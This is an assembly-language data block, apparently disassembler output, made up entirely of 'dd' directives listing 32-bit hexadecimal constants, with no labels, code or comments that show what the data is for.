dd 0CFD8629Dh, 8694B8E2h, 0D43EA0F8h, 22E3800Ah, 0E72D563Ah
dd 70AB5829h, 0CF57FA3Bh, 0C3C8B3EEh, 5FD5E4D9h, 4992473Dh
dd 3D0D7340h, 17072898h, 42E45142h, 0B9C708FAh, 15EB9D12h
dd 427534B4h, 38C93657h, 0F3568EBDh, 0A44D7418h, 0D24C3104h
dd 78AF07DEh, 9E888A12h, 8A4E14A3h, 0B0522310h, 3E41F92Bh
dd 0D00D4385h, 0F057BFA4h, 72180FB9h, 2F558022h, 2B830FAh
dd 0B17585F1h, 0F722ADF1h, 74A340FFh, 82AF81F2h, 0C5742F8Ah
dd 388624DFh, 0DE27952Ah, 6A895870h, 0A188D28h, 981C30FAh
dd 79E3B44Ch, 0B6202DEh, 0A77B84F9h, 1C7E0B6Eh, 4D675343h
dd 0B8EA1F7Eh, 2573A6F0h, 8A02B555h, 0DAAE3A4Bh, 33D069FBh
dd 0C7180F20h, 2E58C733h, 6363F70Ch, 26C506E1h, 582F628h
dd 39ADC589h, 8270A959h, 0B151B70Dh, 866B9880h, 0ADE2091Fh
dd 0D835F2C9h, 0F471B9ACh, 0CEEB019h, 0AC497B1Dh, 371668FCh
dd 2CA2F1E2h, 0B5485B23h, 21EF4FB9h, 1F27905Eh, 8154A47Eh
dd 97021AD6h, 22CC38B9h, 53CAC319h, 4067BABFh, 3179D5BBh
dd 633D54A2h, 680C025Eh, 0E0C7F49Eh, 9515625Ah, 4C9971D3h
dd 0FBE9C7B3h, 0CCDB750Bh, 4CE1EAF9h, 7E7541D0h, 573F96Fh
dd 0BE4C5816h, 1D141BDFh, 6A271A51h, 0C94443EBh, 3F023C46h
dd 4B6D556Dh, 0F5F80E2h, 8E3B863Fh, 88640B11h, 9226ED0Ah
dd 0CE73CD69h, 0BDB329D4h
dd 5E1CF50Eh, 0C237A463h, 6A8418Fh, 0E6A4952Ah, 0BBC5872Fh
dd 6C3FFEF3h, 0AB9430B2h, 6929242Fh, 6B65A1D3h, 3E7BA87Bh
dd 9CFA9798h, 82ECC459h, 0FD31E484h, 40019904h, 3CDB9907h
dd 0CA2A4C9Ch, 33D39ED4h, 0A7E2B22Fh, 5C5B9A59h, 5C6F8899h
dd 99DFF545h, 0FF55FCA3h, 71465D57h, 1B425934h, 635499DBh
dd 28D748AFh, 0ADE409E0h, 0D839F2C9h, 73A87472h, 447B5CA5h
dd 3C382696h, 34EF0B99h, 0D73BE469h, 0CA93E057h, 27FF0E07h
dd 95A4ACAAh, 208EE07Fh, 0C15CA96h, 485DB149h, 918743D1h
dd 439FC805h, 0EFA18857h, 54746504h, 95A76A56h, 79F6F3F1h
dd 350044EBh, 0CA3E7E1Fh, 0CA7DB136h, 312B1C3Dh, 0FB125A18h
dd 0D1F643C3h, 5EF8A2Eh, 0B6501616h, 3E0DEBDFh, 0B0EE1EB4h
dd 40427C2Ah, 6D812952h, 69684C90h, 33F5469h, 27F371CAh
dd 7788AD10h, 5922BBF5h, 0FFF126B3h, 54A84A14h, 0CB2AA8E2h
dd 0F83BE757h, 3F63DCCCh, 1FDA7D79h, 5A172E83h, 0E2018617h
dd 0ED7EC772h, 0F1A3C83Ah, 0D72345Ch, 0A7C9C4F8h, 0FCFD1950h
dd 87E4391Dh, 0E02FF489h, 6CFF628Ch, 4C81328Eh, 47F7C6C3h
dd 705AD75Eh, 445EFE24h, 0A6A388C9h, 8C2F84C4h, 6F2D1955h
dd 9DF3ECB9h, 0BB2D88B7h, 4A01926Ah, 0B31DAADBh, 0FAFCD2Fh
dd 35A84E2h, 9BB6FE8Ah, 5BC7B9F1h, 0D395F77Eh, 1E6916D5h
dd 0BF7788F0h, 9F16A0A1h, 0CFF42FC8h, 4A0C8F06h, 8CA49EABh
dd 5215114Dh, 0E0C7AF3Bh, 4C29B545h, 0D1A03F5Ch, 6436CA03h
dd 40B607A8h, 9C3CE554h, 6EEC751Ch, 0CCDDCC81h, 0DED0147Eh
dd 4CC03307h, 0FB1FC6FAh, 0BE10C4BDh, 4C1D7453h, 0A0F59C0h
dd 56F8E87h, 907FF945h, 63F3E4A3h, 0A0AE03A9h, 42B41D89h
dd 0C7F29442h, 0BD0BA93h, 0B1B044D1h, 45D7BAA3h, 2E7FCF08h
dd 9A00777Ch, 5EE237E2h, 24688130h, 20CA57B2h, 4127A420h
dd 1C10B94Fh, 0BDBC7EEAh, 0D74E9A94h, 44FBABD7h, 6B95C586h
dd 7A233CD5h, 1C2BE54h, 0BFF28CB8h, 3043E098h, 85E45149h
dd 46316F65h, 113D1C89h, 36997001h, 0BE1252DCh, 0C5F7C24Eh
dd 0B34D5CACh, 2D4EA555h, 2162D397h, 99D5EDE0h, 51702E9Fh
dd 971D4391h, 425CD92Ah, 1C6DE201h, 0B6874C64h, 8A3484A8h
dd 513632F8h, 2896C32Eh, 19CA647Ch, 0F857BEA2h, 220BB004h
dd 0D81FA8E3h, 0B33A6787h, 3DA8418Fh, 0C8A4952Ah, 6B1872Fh
dd 0C9040E47h, 6F34FE33h, 41B03FA9h, 3D3E54ADh, 0A77B9CBCh
dd 2B8AADD6h, 580C18D0h, 0E038149Fh, 0F5855D3Bh, 68DA550Bh
dd 0DAED58F7h, 0CFC69FEDh, 0C90D4F90h, 7EA69200h, 0FA90DD6Fh
dd 733AB0E9h, 660C5660h, 0FB22DD18h, 4AB7062Eh, 91D92838h
dd 565C456Ch, 36207BB6h, 5173F235h, 0B4636E21h, 5A750B78h
dd 475C2696h, 32287714h, 0FC0323B1h, 0E90A25D4h, 0E404CC79h
dd 0BE5B6AD5h, 7A955407h, 372053D9h, 0A4C528BAh, 715D7B4Ah
dd 5B9C842h, 6FA5F867h, 0FFAF4D11h, 7A1BB09Bh, 9D846028h
dd 0D51676FEh, 42D08C98h, 22BD8680h, 0CC2C8091h, 605EC475h
dd 0CDB10F10h, 8E36AB78h, 8E95D555h, 89F36CA4h, 84E225C8h
dd 42AA0117h, 0B33A9D42h, 0E70CF12Fh, 75C95B04h, 0E4267990h
dd 0A8EED8A9h, 9244B0Ah, 71EF57Eh, 32622EEBh, 0D9698C43h
dd 0D848F4CCh, 8143073h, 2B2D5671h, 0F6A95F7h, 81110D87h
dd 0E8853847h, 518743D2h, 0CB2D1701h, 0DAE2A8E1h, 7FF9B7Ah
dd 9BDD144Fh, 0B8ADD606h, 6504D821h, 0C9957087h, 0C2292DF3h
dd 0CC52A774h, 0B3E2B113h, 0D236E4B4h, 2F8454F2h, 12C41E95h
dd 0FD0CD149h, 58F1BAD7h, 425CA2CAh, 0B3386DD1h, 0F00F412Ah
dd 42B4DD37h, 5B711936h, 89B1383Fh, 4A65428Dh, 0BC7A92E4h
dd 0CCB86330h, 0D922E4F7h, 9569FBCCh, 3EA8414Ch, 0D6A4952Ah
dd 648D114h, 0E1110DC7h, 0F8853847h, 0B18743D2h, 839FC806h
dd 69A18451h, 0E8AF9508h, 851900B0h, 41826065h, 0BEFCCB2Dh
dd 0C88F735Ah, 0CEF025F3h, 1AC361DBh, 0C5C75764h, 783A1905h
dd 0FD2AD37Bh, 3439A89Dh, 1E0CA90Ch, 0B0A1A981h, 424116C2h
dd 0D4B93252h, 70D20631h, 0AD8C09E0h, 0D869F2C9h, 0F4C9B9ACh
dd 0C3ED019h, 0FC614EC1h, 3E207714h, 80E0570Dh, 0E326755h
dd 77EC4FAh, 2F5A6AC2h, 1EC78883h, 0A905F5DFh, 39D3D7Dh
dd 91802F5Eh, 0D8914153h, 64F6CF7Bh, 0E8006E8Ah, 0C622AF59h
dd 0FA00E172h, 35009EAAh, 0ED4AF05Fh, 0CBEAA632h, 3753642Dh
dd 8F24496Ch, 683E38B2h, 10900A2Fh, 76C50442h, 0AC71483Ah
dd 0B3259191h, 0C15D792Bh, 3730F52Fh, 0F5EBCE8h, 56740FE0h
dd 9DE2F242h, 0AB6DBB09h, 0D3517476h, 0BC9ADAD3h, 0CFFDFCE4h
dd 8CD66AE3h, 0C7379924h, 6ACC8Fh, 0D254D0EDh, 0C14ED174h
dd 0A104F2D6h, 9BFD6C51h, 19A03F5Bh, 7F85AF3Fh, 613105E4h
dd 0B6F5188Ch, 95E558AFh, 5237AEF0h, 801C17DAh, 0D988744Fh
dd 0C2E5AB00h, 0D8F3711Ch, 485E8F34h, 0D2B02440h, 0C390A378h
dd 0A1CFF055h, 760CDB1Fh, 73236E91h, 0F759920Eh, 2832EE5Ah
dd 0F5A4569h, 0F8F1BDE0h, 9DE6B411h, 7F210909h, 264DB5FDh
dd 12FE1737h, 0CBCDFC74h, 25A2A869h, 0BB485B23h, 0F84147C8h
dd 2BB62325h, 7B4ED0BEh, 5E3D86D7h, 0EB953078h, 81AB4A5Eh
dd 0BD2254ACh, 0A4779CA2h, 0EF764B38h, 0EEFBB023h, 434ECFBBh
dd 0BE05645Bh, 0CE81E65Bh, 0D660BEB2h, 0CB96EA7Fh, 4F944867h
dd 0A74FA94Bh, 12CD687h, 9A800E51h, 0F5F49ED7h, 0F5297A51h
dd 0B22002D2h, 0C702322Eh, 847D8207h, 8B348CF5h, 0DA737FD9h
dd 88DF0B78h, 0DF4A4B0Ah, 0F931263Ch, 0B26C34D2h, 0D3AA5767h
dd 2693E11Bh, 0EEEB3370h, 0DF5B163Bh, 0F49E4573h, 6501F337h
dd 726AC745h, 742B9B1Bh, 158511F7h, 0F4F270DEh, 2A0B28C6h
dd 7A1BAF5Eh, 0FC4C8509h, 20FFCE62h, 0D9898E6Fh, 4F01EB2Ah
dd 0CC8E159Dh, 4CE014B9h, 0B1F66450h, 0F8335578h, 64AF9D16h
dd 7666E236h, 0E2001B1Ch, 0B618527Ah, 0A476E202h, 6F4C3A3Ch
dd 0F2C841Dh, 53778609h, 329590BCh, 0AE083F01h, 0BCAA251Fh
dd 33B752F8h, 229CA8E2h, 50B1D1DEh, 0E954C8C4h, 34E11E37h
dd 734E2E59h, 9AFC71D7h, 801528CFh, 1B4B375Ah, 807E0AD3h
dd 2F728849h, 94B8ED4Bh, 9EB535Dh, 4638144Fh, 34089633h
dd 0DC76232Fh, 0DAED5237h, 0BA8838E2h, 0C5DE1680h, 0A0F633Fh
dd 56F4287h, 0BDF4DF45h, 7E91D7DFh, 0B0B05F96h, 76D6BC5Eh
dd 393421CFh, 8C4BAE7Ch, 0FE3D8C9Eh, 0D4357FC3h, 470DCFA9h
dd 0D8A5B408h, 0FDDA0250h, 322F7F89h, 0DEDFADF2h, 170EA4DCh
dd 79F11FDh, 0DBA39DB7h, 56A6816Ch, 0D8FB0D0Bh, 0D3083C7Dh
dd 71B03E59h, 0C37A4153h, 98B27721h, 0D4A433E5h, 85C32C2Eh
dd 3A226214h, 62539262h, 42993EACh, 0C82AB716h, 33D3669Dh
dd 8B091EA7h, 2DB3EE42h, 0D32CF87h, 66C9F895h, 3387F828h
dd 0B4F0A39Dh, 0CB51CCA3h, 1A09695Ah, 1FB3F319h, 8D4A4D65h
dd 52343A40h, 0FC04B8EAh, 5B42ACB0h, 7999AFD5h, 367C552Ch
dd 0AE9F9362h, 0A57E213Fh, 41DC4589h, 2FA495ECh, 6BB1C939h
dd 0FC26C957h, 937E7B81h, 56D4F6DBh, 0CA3B89DAh, 0EFE204B0h
dd 1700750Bh, 0FA78825h, 4E826343h, 9F7DB00h, 4D81070Fh
dd 0F6E9DBB3h, 0B30A13F4h, 391DBD91h, 2558A3C3h, 11B8F02h
dd 663AC0D0h, 76F4BE9Bh, 30A03E91h, 4F29B911h, 0B271A8B9h
dd 7B7B796Fh, 0FE36B819h, 0D84C723Ch, 77D0B4F6h, 2626B4F5h
dd 0F205269Ah, 0BDE4329Fh
dd 8E56ACB2h, 593F2DD0h, 1EBD8CAh, 0A758D0EDh, 564ED17Ch
dd 32061928h, 0E7AEB8FCh, 8A20C62Ah, 0F73C358Eh, 0E4F28B64h
dd 94D41449h, 0F1E4B0D0h, 0B8BC1B57h, 76038BA4h, 8C4FA3FCh
dd 0CAED2F9Fh, 0F4D78DDDh, 4C1BB6E9h, 0ED8EE940h, 59F3504h
dd 0EF050919h, 99FCFB19h, 78E5017Ah, 8A575F5Eh, 6732AF13h
dd 0EE4380E7h, 0C1C00DE0h, 3A0C324Ch, 0C7883373h, 62EBA81h
dd 3314266Eh, 0B4BC5729h, 0D96AA1DEh, 0AF34B828h, 1E60CC71h
dd 0A7D05CABh, 0E90F19FDh, 0F2147AF4h, 8B6A209Eh, 6ECAD7DDh
dd 9FFB8D3h, 0AC7B8ED7h, 17FFA308h, 7AFC0525h, 46E26247h
dd 4883217Dh, 0C6FCF313h, 47E2EA98h, 6658636Dh, 4C198260h
dd 0A6BBEAC0h, 5805EC2h, 8A6CC249h, 840C801h, 969C9391h
dd 415E792Ah, 0BBD7A007h, 135B4980h, 7D6FD7E0h, 0A88702DCh
dd 97CEB9E9h, 81E0B4CBh, 799022FFh, 0C42DFA15h, 8BA05723h
dd 0C6C8A4A8h, 1F14300Fh, 5C5020AFh, 1AC32EB3h, 2489A20Fh
dd 9BFF6807h, 19F63EB4h, 7F85B8A0h, 6FE64220h, 4274850Dh
dd 7E0B557h, 539D5319h, 0BC58C101h, 0BC53B6C4h, 22EF450Bh
dd 0CC299D51h, 0B452C875h, 0D1E26610h, 0F932C7D7h, 3676919Bh
dd 0A205450Fh, 321F116Ch, 4550DEEh, 5D96A1AEh, 9C4AC59Ah
dd 86CCF8FDh, 2926ACD9h, 0AAC76D15h, 0BB9DB44Ah, 9E3DAB97h
dd 0B0887715h, 477A2188h, 85E4AC2Dh, 640133DEh, 25B495DBh
dd 9BCB2901h, 21A5FAF2h, 0E28539ECh, 9467C15Bh, 407A45D0h
dd 9CAF0FA0h, 0CD7664A3h, 0C51BF82Bh, 0B9C597CBh, 458CE78Fh
dd 0F4B3F30Eh, 0BFEEAC47h, 0B3246681h, 0AE6044D7h, 6D5FB14Bh
dd 0ECF1A6D7h, 0EE5C6EE9h, 8109B89Bh, 8C23EE91h, 505ECFAEh
dd 4E3DDC52h, 0EEF3AD6Dh, 71627B1Fh, 92940A94h, 0FF83EA70h
dd 0E705F40Ah, 0C42695h, 0B0690798h, 0D0AB95E7h, 0EBE5D49h
dd 87C5E5D6h, 0BFA01D18h, 228E551Eh, 0A605AA61h, 4015CA3Ah
dd 0F7714C5Eh, 48DB44ABh, 0DFE28257h, 1D8B890Eh, 0D51C6D22h
dd 44AA4EB2h, 6B5E6EF6h, 94673BACh, 0CA90A4E0h, 5931E208h
dd 0AB373453h, 15C79540h, 615710F3h, 671458E9h, 0FEC9A35Ch
dd 0B263CEB4h, 48345A2Ah, 0AE6E3F01h, 1B272D09h, 1FA4708h
dd 0F266AB36h, 0C6BC3005h, 5A185FF4h, 2AA1DE1Bh, 7492797h
dd 0C0E724C9h, 59A35BD7h, 6A143BC9h, 7028A89Dh, 0E11EC154h
dd 78161944h, 5B95C1CBh, 0E9309BD9h, 0D4855B2Eh, 6405CC21h
dd 87C2F653h, 85F42062h, 0F445AE5Ah, 37E9A0CEh, 228BF57Fh
dd 22EAC0DAh, 0CC2A8651h, 99A9C35h, 0EC43D6C8h, 5CA0ED7Fh
dd 0EC7F3749h, 0FE295B11h, 0B223DE9Ch, 62B4702Ah, 0B6A9B991h
dd 8BDCD5FCh, 62851470h, 1F336259h, 555DB9ACh, 4D26A818h
dd 728CADC0h, 0F8A44A99h, 0B55FB8DFh, 0B536CED8h, 7B14EC83h
dd 8A5205B3h, 8F24813Ch, 3C74E749h, 0D736297Bh, 0F4B03827h
dd 0EA193E6Eh, 0B713B8h, 0E173A812h, 7AB4089Bh, 0B93B0F24h
dd 41C13A3Eh, 3DF6B42Ah, 0CAE83AC3h, 765166E8h, 0C01AD4DCh
dd 0A08787B6h, 3BC16BBh, 91B8589Dh, 89E4A35Ch, 39FDAA1Ch
dd 3F2E093Fh, 0AD356242h, 1C5CC59Ah, 84C6BD2Ah, 6C65C3CDh
dd 8EB05AECh, 3B7DA4F4h, 0AF3E70C4h, 9E088A6Ah, 0C3EB685Ah
dd 83E8544Ch, 25F845DAh, 94DB18D5h, 8AB5871h, 4257EBAAh
dd 9C9A2ADEh, 14283D51h, 4C3FC2D3h, 0EF0AD92Ch, 17741907h
dd 7BA199E2h, 40E656B0h, 3A018F2Ah, 0C98A3BEAh, 0C69429F3h
dd 0B8C01DFDh, 41864AA9h, 3D9367F0h, 0E19B0B0Ch, 6FCD7116h
dd 4609E3D5h, 0B02F5751h, 43DBB92Ah, 3E4DA942h, 105B10E7h
dd 63E9C157h, 8BF279CBh, 0BF586F6h, 5D273D92h, 50ED82Fh
dd 0D809EE5h, 0BC5FA8DEh, 9F41A439h, 76EC8934h, 568195BCh
dd 0BA4ED13Ch, 0B104F3D6h, 4A7D2DCFh, 765FC4B8h, 7A62AFh
dd 1B3A19A5h, 17FD3C94h, 0C0530785h, 0BF26DACBh, 3AF9AAADh
dd 2B09A7E1h, 0AC3923DCh, 0B3262D54h, 0A70AA3C1h, 0D5DA0A31h
dd 73271871h, 9F11F61Ah, 112D7553h, 589DCB18h, 0C69CD277h
dd 638DF5Dh, 0E14FC58Ch, 0EE1044DCh, 1CBA87C9h, 30A3C8BCh
dd 648D37F4h, 0C4A4AFF1h, 8E3532DDh, 84949035h, 0DE01AB33h
dd 66143C98h, 9044A80Eh, 903BD134h, 0B6FCB6EDh, 0EB163E6Dh
dd 0D4295C9Eh, 3D3F89D1h, 8CE173A7h, 0E800ED99h, 85CE0041h
dd 71450B37h, 34B136DDh, 0B40AF55Fh, 8A9FAA6Eh, 33D114BEh
dd 19825318h, 6810E4C8h, 4367C79h, 1702C9Dh, 74CB899Bh
dd 0CEA0F891h, 342C79D4h, 22CC6C95h, 84E456Ch, 1A540FEEh
dd 97EE7B89h, 0BFA4657Dh, 6F103D24h, 92E5631Bh, 0FA87671h
dd 3EA7ED26h, 0CDEB487h, 0A0EB3345h, 92A46147h, 82CDD10Ch
dd 8771F37Ah, 90817B70h, 0F1470ADCh, 0B467C5BFh, 6DE29642h
dd 13A79074h, 851ED826h, 0B9713429h, 350D3F3Bh, 0C8A6DC47h
dd 0B7692A83h, 2DAB690Dh, 43130CA7h, 0A479C6F7h, 12E29785h
dd 9A31C319h, 72AF5A3Ah, 4C1D9029h, 3CD1F0D5h, 68B1E952h
dd 965EF991h, 26A48BD4h, 4728F642h, 2FB4300Fh, 7BD858B1h
dd 0FE8A02E4h, 0CA0137EFh, 0CD6F952Dh, 0C9CAA4C9h, 6BEC8932h
dd 0C92F95B0h, 0FFC5B7E8h, 0EC8D9544h, 2B1059E9h, 3C482665h
dd 8785B2C8h, 64F2BEAAh, 0E8379E7Ch, 85E74969h, 0FC71243Bh
dd 0B4C096E8h, 0C98575ADh, 0C2116BB3h, 9A223CF5h, 4C05D8ECh
dd 9A8C9FB4h, 6AAE0C2h, 687B8EE9h, 7D7F8EEAh, 0F62B1841h
dd 79AE5FD4h, 582BA9A0h, 0A2FE4A76h, 1BD10D1Fh, 876EFA2Bh
dd 0B65F15FEh, 194CB4F4h, 9DE1AFF6h, 69963292h, 0C22DED2Fh
dd 0AB22D088h, 5D9434F2h, 61A9E17Ah, 0BAB12959h, 65413406h
dd 0FB953F3Bh, 0C3E5C236h, 84756CAFh, 1B0D6DBCh, 17F76CFCh
dd 0D06CE2F5h, 0FC4DBD35h, 378B19E8h, 0C699E0BCh, 43156F14h
dd 2789E25Fh, 0B146EEA3h, 2BCD0426h, 0F8FA83E1h, 0A09D7816h
dd 74AD0B19h, 0B7894E91h, 0B7219CA1h, 0FF126507h, 62A180E5h
dd 57476CA4h, 0E772AF25h, 0C579B9A3h, 0F41E8C18h, 0B2316326h
dd 77CB8B5Dh, 4113D499h, 36C8E337h, 5A91E84Ah, 1BB49596h
dd 0FC6B2D69h, 99023AA2h, 0CD4CD65Bh, 542B3490h, 9882D0D3h
dd 66DB14A5h, 9BF0157Fh, 85E7E645h, 3A3A8EB4h, 0B90D3EEAh
dd 0C98DF384h, 0C59C53D0h, 33DBDC32h, 0C925A46Ch, 3D8B6914h
dd 8697470Ch, 13C8336Eh, 7C086078h, 31360E1Ah, 73D0F860h
dd 227EA246h, 2ACB4DE7h, 59150DE5h, 638E68Ch, 4694B80Ah
dd 18B31D1Dh, 7714AD90h, 0CDAB6793h, 494F21DFh, 0A851588Ch
dd 0EA7236F6h, 5DC26337h, 0EF4E28A9h, 20CA8BDh, 566A0F31h
dd 0FAF0BA95h, 682A6AEAh, 0E4F35F52h, 92F72DFDh, 0EA6A5743h
dd 3AC1FB07h, 5CE540C6h, 42913521h, 0B25C2306h, 2C4702A7h
dd 0C7530EA7h, 29F60C4Ah, 579C0E0Eh, 11658CEAh, 6D963296h
dd 31126318h, 47326D77h, 9932BCD9h, 0B839FF16h, 1A4B0FF9h
dd 636F842h, 0ED9EB9FEh, 713648AEh, 4B0CAF6Ah, 64FC2A95h
dd 0CBCA2394h, 4B8DDE3Dh, 359FD524h, 0E7AE19BAh, 0E1C7DBA6h
dd 2F8A74Dh, 0E61CD8D2h, 0A5FDC6E0h, 15F17BC4h, 0E7F9C7A7h
dd 1D76E9BFh, 0C1B0107h, 780A62D2h, 788580F1h, 3DCCFCDFh
dd 412DE6F8h, 7DBA9AA0h, 0B800D31Ch, 0A6C3C54Bh, 4BE6F2DAh
dd 6C9988E6h, 0F9FDB6D6h, 0B02BCACCh, 0B95DE1A3h, 60BAA117h
dd 0D33E2D56h, 8117C16Ah, 0DBEF79C1h, 795AB990h, 892C6648h
dd 0B0ED1Bh, 85E0FE03h
dd 8534AC8Ah, 0A23FE137h, 1476F737h, 6EE119B1h, 0BFC5DBF4h
dd 7ECE76D2h, 6A1CF202h, 4A6184D9h, 8972E9B7h, 0C6184EF3h
dd 9DF7A4F2h, 0F1DB72CDh, 0C3FD9F71h, 7087EB73h, 42983E1Fh
dd 542F3Bh, 0CBF1A554h, 0C553D3B3h, 68B48D18h, 237838Fh
dd 4A511D9Dh, 76521822h, 0AC11CE14h, 0B9D21CA1h, 51B77D02h
dd 0C5034C6Dh, 0C80CC16Ah, 3C94E2CDh, 0EC9BBC8h, 40ED4391h
dd 2E152690h, 7C03296h, 8992BC82h, 36FF2DA2h, 0A80088C6h
dd 8B8F82AAh, 0EB0B5869h, 41440980h, 98E120DDh, 1AA80B1Bh
dd 8AF77378h, 70BBC1AAh, 0D1EBA0F2h, 0EC7508Ah, 0E94A8342h
dd 21415416h, 99193F1Eh, 8F68A403h, 75BA3F2Dh, 0E9B10564h
dd 0AE3B8AD1h, 0C9960243h, 13E41912h, 0B4E0318h, 0A05772ABh
dd 0BA562CA1h, 1EFBAA58h, 82C14FE5h, 33C80D1Dh, 47F67B12h
dd 0FD646D7Fh, 90C03F86h, 0AAB5C13h, 59236F68h, 405523C1h
dd 29BEAC63h, 0E4E894C0h, 2F2D6AEBh, 33135AA7h, 348FBA1Dh
dd 0A1EFA0F4h, 7AB83BBAh, 8AF16AFDh, 6DFB8728h, 0EBA67272h
dd 0C1F7104h, 0E4485344h, 0BE1AD492h, 0C31B3952h, 43DAEA80h
dd 0CC67E417h, 976684A5h, 0A4CFC6C9h, 4BFCE0DAh, 74A99EFEh
dd 0FA065ED4h, 0F46902CCh, 0DD8792C2h, 8CD5A4DBh, 98C12931h
dd 0EA470F09h, 0FF34FA40h, 2EC1BBF2h, 0D0A7CC77h, 0FE0A3DE6h
dd 780FC15h, 616AC95h, 0AA6513AEh, 0ADDF4498h, 642D8D5Dh
dd 304A8BCEh, 614175C5h, 9AF599Ch, 942B5265h, 0CB72EE20h
dd 0AE7A40F0h, 9E2D4B77h, 442CB959h, 0B148B4F0h, 0DE0947F3h
dd 0C1D5FE10h, 0F6E5EBB9h, 0C331B09h, 0C7442196h, 25A89C85h
dd 8F4B560Ch, 10DF20DCh, 77D69255h, 0DFAABB1Ah, 386279DDh
dd 8F7DDD52h, 0D7CE413Ch, 7E6E5664h, 8CCB324Ch, 0A90757Ch
dd 0E481C08Fh, 709953CBh, 5CE37F58h, 0CD9525D8h, 0AF23EC29h
dd 69D2D902h, 2B2FA28Ah, 0C31E5857h, 0D805B41Bh, 3E1E3574h
dd 21EDC344h, 8B6A6820h, 0B4784AEDh, 3B27A6Fh, 0D56EE288h
dd 0FC76541Dh, 70862F66h, 0F87BE4FFh, 49DF2533h, 6BDD7B99h
dd 0C753ACAFh, 55AFAD05h, 142D9CBDh, 1218B89Dh, 7B6F2057h
dd 0FBB8C418h, 0D08904D2h, 52AA79B9h, 5A774E60h, 747D8C20h
dd 6A19B314h, 83E1D0ABh, 73156916h, 0DCF12ED6h, 8A486512h
dd 309CCE95h, 0A7E9D0A5h, 0AD72C500h, 0C8A494DEh, 56C5C623h
dd 0CD5475AEh, 0C2946BD1h, 542B5CDBh, 0D07EAD3Eh, 0EFCDAB81h
dd 0E099FD36h, 85E518BAh, 0FC4B5F9Bh, 215D2BBAh, 4092BDF2h
dd 8F53B29Bh, 2031B6A9h, 0C74F4447h, 0DA4DAE85h, 651EAC7h
dd 0DCAFFA62h, 671E2055h, 3324941Ch, 6ADFED62h, 1625EF46h
dd 0D339CE4Ch, 0F9E1D46Ah, 45E2E684h, 0D928607Fh, 4865F140h
dd 24D96318h, 0A39C8CAh, 0C09B2BCFh, 2D353D4Fh, 53514643h
dd 70E4249Dh, 8C9296A6h, 450B964Eh, 5B9521AAh, 5CAB050h
dd 0EC82E9D3h, 0E410DAA3h, 1C808972h, 0E73B6578h, 49295085h
dd 0BE0D80AEh, 3110EB22h, 49EF52B2h, 4A4E0465h, 433E57AFh
dd 2D177DCCh, 0DBD55787h, 18B0EA6Ch, 9A6EB35Dh, 0BAE5AE5Ah
dd 0A4D8DCA1h, 5E26A42h, 8FF7D5E5h, 7EB30F1Dh, 0FD5B242h
dd 0E418D9F4h, 7DF6B4F6h, 37D1AD9Fh, 9A8173E0h, 4263EA44h
dd 7F3CACF0h, 0D1C54471h, 4B5F535Dh, 53C7DBAEh, 0CB0C1642h
dd 6E1E269Ch, 0D2B0C01Fh, 50F36DE8h, 0EF0F1E26h, 45748527h
dd 0C3699D4h, 0A63BAB38h, 6D84E823h, 0C8779E6Bh, 8F52A6F3h
dd 0B32BFBF1h, 5CC4AA2Eh, 0A6EFF24Bh, 472BDEC2h, 70466826h
dd 730EBA97h, 31A9FB1Ah, 2A963A3Ah, 52ABB9DBh, 0D73ACE90h
dd 0E3C7C46Ah, 9E571BCBh, 0B3BB30F6h, 0DB753FFAh, 0E4782251h
dd 801425A9h, 8954A08Bh, 2CBEC294h, 59155896h, 5AE1198Ah
dd 0C5CDC3B4h, 3A147652h, 7E1EDAEEh, 81E0C05Bh, 7B936A22h
dd 6FF35AACh, 7748D28h, 0CE3CA66h, 459291E5h, 0BE05852Dh
dd 0CB1B8717h, 0CAD8470Ah, 3C7DFBDDh, 8EC8BE27h, 0A60F2844h
dd 5533D0C2h, 108574EAh, 6CD50296h, 0E3EC8618h, 2690D22Eh
dd 5BAB61D9h, 28A4F468h, 6AA80DE9h, 50E1A742h, 862404B4h
dd 3DE6B4F6h, 7C62409Bh, 0CE43671Bh, 0DD4F23C6h, 2FA3E920h
dd 564444B7h, 152FEAE4h, 0DAA6833Fh, 3A04FF6Bh, 87C2E18h
dd 1AA04A92h, 0B8FA676Eh, 0E0FC3497h, 17FF85FEh, 0EEB456Dh
dd 0BD0289E7h, 0BCDA752Bh, 0C1C77C4Fh, 410EE318h, 72B08D7Dh
dd 440C227Ch, 2D0BDA43h, 523BD0F2h, 89263E1Eh, 60CE22E5h
dd 322DDB1Ah, 55D6B16Fh, 175D297Eh, 287610E7h, 0AA7294B3h
dd 536BB236h, 6F5D30F5h, 7385F17Fh, 7D54ADA7h, 598427A8h
dd 89D4A8A3h, 0BADFF4BAh, 0C4EB3297h, 172D9E46h, 0B8E56D7h
dd 79417466h, 909D7377h, 21895A81h, 6BB62B22h, 0ECB6DDA4h
dd 9ED3D9E7h, 0C06D34A2h, 6985B335h, 0BEDE4515h, 8B1BFF12h
dd 41B9CD9Fh, 20B57D58h, 0C5436BAFh, 0D1452850h, 0FCD57D7h
dd 92BE1D46h, 0B46DD35Dh, 0C624EB99h, 0D21D9A6Fh, 48A8ABB9h
dd 0B12E4E64h, 0EFF3CE6Ch, 2266E681h, 0B620F6E3h, 33765FD3h
dd 0E58A2ED9h, 8AC2FA37h, 4A8BE040h, 5BB7B4D4h, 1A2C270h
dd 84E11B96h, 3E89D4ECh, 0A904DADEh, 0FFD0AC1Ch, 59780899h
dd 804B7D27h, 391FDC09h, 304316AFh, 85E6FCE0h, 3A25BBAEh
dd 635D1876h, 0C1CF9C18h, 0E1EE2538h, 7314E53Eh, 500583F4h
dd 625EFEBh, 44A7FAC4h, 65C9783Eh, 48DD2C3Bh, 0E8F17E95h
dd 2D6944A9h, 7928E42Ch, 273DAE90h, 6D85A41Fh, 5B17B70Eh
dd 552030F7h, 21B53DF3h, 90BADED9h, 4EAFFEDBh, 1DF9D636h
dd 30DE64C0h, 49574668h, 56F76DA8h, 0FA421798h, 938DF34Dh
dd 0FEE1E789h, 0DA903E33h, 0FFB2EE63h, 0E4F2BA3Bh, 9201B46Fh
dd 65E8F17h, 0C7C03E86h, 214DEBBDh, 0C5D7FC67h, 0C6982DF3h
dd 386C8E0Dh, 0C1496C2Fh, 2F8AA113h, 0FF40002h, 9890CE9Dh
dd 7865D31Eh, 525B8612h, 2C55D89Dh, 0C3B12D1h, 0D4F28812h
dd 0D9B86FF9h, 7687D237h, 96E47530h, 334DB4F6h, 7CD1AF99h
dd 4EC38F66h, 4FD82130h, 6791DA57h, 42FD2C1Fh, 54E719EAh
dd 7B1D2C4Fh, 14083B95h, 0C91C2B6Fh, 14D485D7h, 2B4A17AAh
